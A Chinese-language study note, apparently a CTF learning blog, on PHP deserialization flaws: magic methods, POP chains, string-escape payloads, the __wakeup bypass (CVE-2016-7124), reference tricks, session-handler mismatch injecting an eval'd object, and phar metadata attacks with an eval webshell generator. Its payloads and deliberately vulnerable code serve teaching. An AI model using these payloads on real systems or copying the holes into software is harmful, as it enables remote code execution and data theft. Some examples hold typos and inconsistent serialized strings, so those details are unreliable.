PHP反序列化漏洞学习
之前没怎么系统的学习过反序列化这一漏洞,抽了个时间看看,记录一下
实例化 与 复制:略。
各个类型实例化:略。
权限修饰符
保护权限(protected)在serialize()之后会在成员属性前加上%00*%00
(看不见的符号是被url编码过的)
私有权限(private)在serialize()之后会在成员属性前加上%00类名%00
(看不见的符号是被url编码过的)
魔法函数
__construct():创建对象时调用
<?php
highlight_file(__FILE__);
class User {
public $username;
public function __construct($username) {
$this->username = $username;
echo "触发了构造函数1次" ;
}
}
$test = new User("benben");
$ser = serialize($test);
unserialize($ser);
?>
__construct()
函数是 PHP 中的一个特殊函数,用于在创建对象时初始化对象的属性。当使用new
关键字创建一个对象时,PHP 会自动调用该类中的__construct()
函数。在这个例子中,__construct()
函数被用来初始化User
类的$username
属性。在创建User
对象时,需要传递一个$username
参数,该参数将被用来初始化$username
属性。
__destruct():对象销毁前调用
<?php
highlight_file(__FILE__);
class User {
public function __destruct()
{
echo "触发了析构函数1次"."<br />" ;
}
}
$test = new User("benben");
$ser = serialize($test);
unserialize($ser);
?>
__destruct()
函数是一个魔术方法,它在 PHP 对象被销毁时自动调用。它的作用是在对象被销毁之前执行一些清理工作,例如关闭文件、释放资源等。
在该代码中,先因为unserialize()
调用,再因为程序结束(即对象销毁)调用一次
__sleep():序列化serialize()之前调用
<?php
highlight_file(__FILE__);
class User {
const SITE = 'uusama';
public $username;
public $nickname;
private $password;
public function __construct($username, $nickname, $password){
$this->username = $username;
$this->nickname = $nickname;
$this->password = $password;
}
public function __sleep() {
return array('username', 'nickname');
}
}
$user = new User('a', 'b', 'c');
echo serialize($user);
?>
__sleep()
方法是 PHP 魔术方法之一,用于在序列化对象之前清理对象,并返回需要序列化的属性的数组。
在当前例子中,__sleep()
返回了username,nickname,因此只对这两个变量属性进行序列化,最终序列化的结果为O:4:"User":2:{s:8:"username";s:1:"a";s:8:"nickname";s:1:"b";}
__weakup():反序列化unserialize()之前调用
<?php
highlight_file(__FILE__);
error_reporting(0);
class User {
public $username;
public $nickname;
private $password;
private $order;
public function __wakeup() {
$this->password = $this->username;
}
}
$user_ser = 'O:4:"User":2:{s:8:"username";s:1:"a";s:8:"nickname";s:1:"b";}';
var_dump(unserialize($user_ser));
?>
在unserialize()
之前调用__wakeup()
,因此$this→password
的值为 a
__toString():对象被当成字符串时调用
<?php
highlight_file(__FILE__);
error_reporting(0);
class User
{
var $benben = "this is test!!";
public function __toString()
{
return '格式不对,输出不了!';
}
}
$test = new User();
print_r($test); // 不会调用__toString()方法
echo "<br />";
echo $test; // 会调用__toString()方法
var_dump($test); // 不会调用__toString()方法
?>
__invoke():把对象当成函数时调用
<?php
highlight_file(__FILE__);
error_reporting(0);
class User
{
var $benben = "this is test!!";
public function __invoke()
{
echo '它不是个函数!';
}
}
$test = new User();
echo $test->benben; // 不会调用__invoke()方法
echo "<br />";
echo $test()->benben; // 会调用__invoke()方法
?>
__call($arg1, $arg2):调用不存在的成员方法则会调用,返回不存在的方法名和参数
<?php
highlight_file(__FILE__);
error_reporting(0);
class User
{
public function __call($arg1, $arg2)
{
echo "$arg1,$arg2[0]";
}
}
$test = new User();
$test->callxxx('a');
?>
__callStatic($arg1, $arg2):静态调用或调用成员常量时使用的方法不存在,返回不存在的方法名和参数
<?php
highlight_file(__FILE__);
error_reporting(0);
class User {
public function __callStatic($arg1,$arg2)
{
echo "$arg1,$arg2[0]";
}
}
$test = new User() ;
$test::callxxx('a');
?>
__get($arg1):调用的成员属性不存在时调用,返回不存在的成员属性
<?php
highlight_file(__FILE__);
error_reporting(0);
class User {
public $var1;
public function __get($arg1)
{
echo $arg1;
}
}
$test = new User() ;
$test ->var2;
?>
__set($arg1, $arg2):给不存在的成员属性赋值时调用,返回不存在的成员属性和赋的值
<?php
highlight_file(__FILE__);
error_reporting(0);
class User {
public $var1;
public function __set($arg1 ,$arg2)
{
echo $arg1.','.$arg2;
}
}
$test = new User() ;
$test ->var2=1;
?>
__isset($arg1):对不可访问的成员属性使用isset()或empty()时调用,并返回该属性
<?php
highlight_file(__FILE__);
error_reporting(0);
class User
{
private $var;
public $var1;
public function __isset($arg1)
{
echo $arg1;
}
}
$test = new User();
isset($test->var1);
?>
__unset():对不可访问的成员属性使用unset()时调用,返回该属性
<?php
highlight_file(__FILE__);
error_reporting(0);
class User {
private $var;
public function __unset($arg1 )
{
echo $arg1;
}
}
$test = new User() ;
unset($test->var);
?>
__clone():使用clone关键字拷贝完成一个对象后,新对象自动调用
<?php
highlight_file(__FILE__);
error_reporting(0);
class User
{
private $var;
public function __clone()
{
echo "__clone test";
}
}
$test = new User();
$newclass = clone($test);
var_dump($newclass);
?>
POP链
在反序列化中,我们可以控制的数据就是对象中的属性值(成员变量),所以在PHP反序列化中有一种漏洞利用方法叫做“面对属性编程”,即POP(Property Oriented Programming)。
POP链就是利用魔法方法在里面进行多次跳转然后获取敏感数据的一种Payload
POC编写
POC(Proof of concept,译为 概念验证),不完整的程序
字符串逃逸
基础知识:
反序列化以 ;}
结束后面的字符不影响反序列化的结果
成员属性个数和成员属性长度都要保持一致,否则不能反序列化(结果为bool(flase)
)
对于如下的两个反序列化,输出结果都是bool(flase)
$ser = 'O:1:"A":2:{s:2:"v1";s:6:"st4rry";}'; // 成员属性 数量不对
var_dump(unserialize($ser));
$ser = 'O:1:"A":1:{s:2:"v1";s:7:"st4rry";}'; // 成员属性 长度不对
var_dump(unserialize($ser));
如果反序列化的字符串中还有原本类中没有的成员属性
,则反序列化后的对象会包含
这个多余的成员属性。(反序列化的结果会包含类中的所有内容)
<?php
class A {
var $v1 = 'st4rry';
var $v2 = "koi";
}
echo serialize(new A()),'</br>'
$ser = 'O:1:"A":2:{s:2:"v1";s:6:"st4rry";s:2:"v3";s:3:"666";}';
var_dump(unserialize($ser));
增加逃逸:
<?php
highlight_file(__FILE__);
error_reporting(0);
class A{
public $v1 = 'ls';
public $v2 = '123';
public function __construct($arga,$argc){
$this->v1 = $arga;
$this->v2 = $argc;
}
}
$a = $_GET['v1'];
$b = $_GET['v2'];
$data = serialize(new A($a,$b));
$data = str_replace("ls","pwd",$data);
var_dump(unserialize($data));
增加字符串逃逸的利用思想是 吐出多余的代码,而
;}
后的内容无效,不影响反序列化
对于该部分代码,简化如下:<?php class A{ public $v1 = 'aals'; public $v2 = '1111'; } $data = serialize(new A()); // data= O:1:"A":2:{s:2:"v1";s:4:"aals";s:2:"v2";s:4:"1111";} $data = str_replace("ls","pwd",$data); // data = O:1:"A":2:{s:2:"v1";s:4:"aapwd";s:2:"v2";s:4:"1111";},此处成员属性长度不对 var_dump(unserialize($data));
利用思想:将
";s:2:"v2";s:4:"1111";}
变为无效字符,即想办法将其放在;}
之后。
该段字符长度为 23,而每替换一次长度增加 1,因此增加 23就可以把该部分字符串挤出去
所以成员属性 v1 要包含 23 个 lspublic $v1 = 'lslslslslslslslslslslslslslslslslslslslslslsls";s:2:"v2";s:4:"1111";}';
相关例题:
<?php
highlight_file(__FILE__);
error_reporting(0);
function filter($name){
$safe=array("flag","php");
$name=str_replace($safe,"hack",$name);
return $name;
}
class test{
var $user;
var $pass='daydream';
function __construct($user){
$this->user=$user;
}
}
$param=$_GET['param'];
$param=serialize(new test($param));
$profile=unserialize(filter($param));
if ($profile->pass=='escaping'){
echo file_get_contents("flag.php");
}
?>
如果实例的pass属性为escaping,即可获取flag。
每次进行php替换为 hack,序列化中的user长度就会加1
先获取需要逃逸的字符
<?php
function filter($name){
$safe=array("flag","php");
$name=str_replace($safe,"hack",$name);
return $name;
}
class test{
var $user='123';
var $pass='escaping';
}
$param=serialize(new test());
echo $param;
$profile=unserialize(filter($param));
var_dump($profile);
O:4:"test":2:{s:4:"user";s:3:"123";s:4:"pass";s:8:"escaping";}
,高亮部分即为需要逃逸的字符串,长度为29,则需要,增加的长度为29,在前面增加29个php即可,最终的Payload为
?param=phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:4:"pass";s:8:"escaping";}
在源码中即可看到 flag。
减少逃逸:
<?php
highlight_file(__FILE__);
error_reporting(0);
class A{
public $v1 = "abcsystem()system()system()";
public $v2 = '123';
public function __construct($arga,$argc){
$this->v1 = $arga;
$this->v2 = $argc;
}
}
$a = $_GET['v1'];
$b = $_GET['v2'];
$data = serialize(new A($a,$b));
$data = str_replace("system()","",$data);
var_dump(unserialize($data));
?>
减少字符逃逸的思路是: 吃掉有效部分,正确范围
;}
是无效部分
先简化该部分代码:<?php class A{ public $v1 = "abcsystem()system()system()"; public $v2 = '123'; } $data = serialize(new A()); // O:1:"A":2:{s:2:"v1";s:27:"abcsystem()system()system()";s:2:"v2";s:30:"1234567";s:2:"v2";s:4:"1234";}";} $data = str_replace("system()","",$data); // 将成员属性中的 system()替换掉,每替换一次长度减少 8 // O:1:"A":2:{s:2:"v1";s:27:"abc";s:2:"v2";s:3:"111";} v1的长度不对,因此无法反序列化 var_dump(unserialize($data)); ?>
设法补齐被替换掉的27位字符(注意:反序列化会生成固定的
";s:2:"v2";s:xx
,xx代表长度)因此要在v2处设法补齐长度:
1234567";s:2:"v2";s:3:"111";}
加上这个刚好O:1:"A":2:{s:2:"v1";s:27:"abcsystem()system()system()";s:2:"v2";s:30:"1234567";s:2:"v2";s:4:"1234";}";} O:1:"A":2:{s:2:"v1";s:27:"abc";s:2:"v2";s:3:"111";}
相关例题
<?php
highlight_file(__FILE__);
error_reporting(0);
function filter($name){
$safe=array("flag","php");
$name=str_replace($safe,"hk",$name);
return $name;
}
class test{
var $user;
var $pass;
var $vip = false ;
function __construct($user,$pass){
$this->user=$user;
$this->pass=$pass;
}
}
$param=$_GET['user'];
$pass=$_GET['pass'];
$param=serialize(new test($param,$pass));
$profile=unserialize(filter($param));
if ($profile->vip){
echo file_get_contents("flag.php");
}
?>
如果类test的vip为真,则输出flag
每次替换要么长度减1要么减2 (减 1似乎简单点儿)
简化一下代码
<?php
function filter($name)
{
$safe = array("flag", "php");
$name = str_replace($safe, "hk", $name);
return $name;
}
class test
{
var $user;
var $pass;
var $vip = false;
}
$param = serialize(new test());
echo $param; // O:4:"test":3:{s:4:"user";N;s:4:"pass";N;s:3:"vip";b:0;}
$profile = unserialize(filter($param));
?>
Payload:
?user=phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp&pass=x;s:4:"pass";s:3:"123";s:3:"vip";b:1;}
wakeup 绕过(CVE-2016-7124)
<?php
error_reporting(0);
class secret{
var $file='index.php';
public function __construct($file){
$this->file=$file;
}
function __destruct(){
include_once($this->file);
echo $flag;
}
function __wakeup(){
$this->file='index.php';
}
}
$cmd=$_GET['cmd'];
if (!isset($cmd)){
highlight_file(__FILE__);
}
else{
if (preg_match('/[oc]:\d+:/i',$cmd)){ // 过滤掉形如 O:4 的字符串,可以使用O:+4来绕过
echo "Are you daydreaming?";
}
else{
unserialize($cmd);
}
}
//sercet in flag.php
?>
该cve在序列化后,如果成员属性个数大于实际的个数,则会绕过,不执行__wakeup()魔法函数
引用漏洞
在PHP 中引用的作用:不同的名字访问同一个变量内容。
例题代码:
<?php
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");
class just4fun {
var $enter;
var $secret;
}
if (isset($_GET['pass'])) {
$pass = $_GET['pass'];
$pass=str_replace('*','\*',$pass);
}
$o = unserialize($pass);
if ($o) {
$o->secret = "*";
if ($o->secret === $o->enter)
echo "Congratulation! Here is my secret: ".$flag;
else
echo "Oh no... You can't fool me";
}
else echo "are you trolling?";
?>
倒着看,当实例的secret的值和enter的值相同时,就会输出我们想要的flag。但是,在在判断之前,仅对实例的secret进行的赋值,这里我们就要联想到 引用
简化一下代码,通通删掉,只留下类的成员属性
<?php
class just4fun {
var $enter;
var $secret;
}
$exp = new just4fun();
$exp->secret = &$exp->enter; // 引用(绑定),相当于同一个变量有两个名字(别名)
echo serialize($exp);
?>
//运行 得到poc :O:8:"just4fun":2:{s:5:"enter";N;s:6:"secret";R:2;}
Session_PHP反序列化漏洞
PHP session序列化机制
模式 | 存储格式 |
---|---|
php | 键名+竖线( |
benben | s:4:"1111"; |
php_serialize(php>=5.5.4) | 经过 serialize() 函数序列处理的数组 |
a:1:{s:6:"benben";s:3:"111";} | |
php_binary | 键名的长度对应的 ASCII 字符 + 键名 + 经过 serialize() 函数反序列处理的值(可以使用010Editor打开查看) |
漏洞产生的原因:写入格式 与 读取格式不一致,php模式下,会以 |
作为分隔符,将其后面的内容进行反序列化
php.ini的配置文件中与session相关的一些重要配置
session.save_path="/tmp" --设置session文件的存储位置 session.save_handler=files --设定用户自定义存储函数,如果想使用PHP内置session存储机制之外的可以使用这个函数 session.auto_start= 0 --指定会话模块是否在请求开始时启动一个会话,默认值为 0,不启动 session.serialize_handler= php --定义用来序列化/反序列化的处理器名字,默认使用php session.upload_progress.enabled= On --启用上传进度跟踪,并填充$ _SESSION变量,默认启用 session.upload_progress.cleanup= oN --读取所有POST数据(即完成上传)后立即清理进度信息,默认启用
默认为php模式
<?php
highlight_file(__FILE__);
error_reporting(0);
ini_set('session.serialize_handler','php_binary'); // 修改模式
session_start();
$_SESSION['benben'] = $_GET['ben'];
$_SESSION['b'] = $_GET['b'];
?>
例题:
// 获取session并以 php_serialize模式 存储的页面 ( save.php )
<?php
highlight_file(__FILE__);
error_reporting(0);
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['ben'] = $_GET['a'];
?>
// 以php 模式解析session (vul.php)
<?php
highlight_file(__FILE__);
error_reporting(0);
ini_set('session.serialize_handler','php');
session_start();
class D{
var $a;
function __destruct(){
eval($this->a);
}
}
?>
php模式下会将session中 |
后的内容进行反序列化,因此我们可以在设计好的序列化内容前加上竖线,例如|O:1:"D":1:{s:1:"a";s:10:"phpinfo();";}
因此payload可以为
?a=|O:1:"D":1:{s:1:"a";s:10:"phpinfo();";}
通过php_serialize模式存储的session为a:1:{s:3:"ben";s:39:"|O:1:"D":1:{s:1:"a";s:10:"phpinfo();";}
Phar
生成phar的脚本
<?php
highlight_file(__FILE__);
class Testobj // 只需要根据需求修改类和属性
{
var $output='';
}
@unlink('test.phar'); //删除之前的test.par文件(如果有)
$phar=new Phar('test.phar'); //创建一个phar对象,文件名必须以phar为后缀
$phar->startBuffering(); //开始写文件
$phar->setStub('<?php __HALT_COMPILER(); ?>'); //写入stub
$o=new Testobj();
$o->output='eval($_GET["a"]);';
$phar->setMetadata($o);//写入meta-data
$phar->addFromString("test.txt","test"); //添加要压缩的文件
$phar->stopBuffering();
?>
phar://协议读取文件不需要文件后缀为.phar
,可以改为png,jpg等
例题:index.php
<?php
highlight_file(__FILE__);
error_reporting(0);
class TestObject {
public function __destruct() {
include('flag.php');
echo $flag;
}
}
$filename = $_POST['file'];
if (isset($filename)){
echo md5_file($filename);
}
//upload.php //只允许上传 图片
?>
payload:
<?php
highlight_file(__FILE__);
class TestObject
{
var $output='';
}
@unlink('exp.phar'); //删除之前的test.par文件(如果有)
$phar=new Phar('exp.phar'); //创建一个phar对象,文件名必须以phar为后缀
$phar->startBuffering(); //开始写文件
$phar->setStub('<?php __HALT_COMPILER(); ?>'); //写入stub
$o=new TestObject();
$phar->setMetadata($o);//写入meta-data
$phar->addFromString("test.txt","test"); //添加要压缩的文件
$phar->stopBuffering();
?>
修改exp.phar 为exp.png
//Post传参
filename=upload/exp.png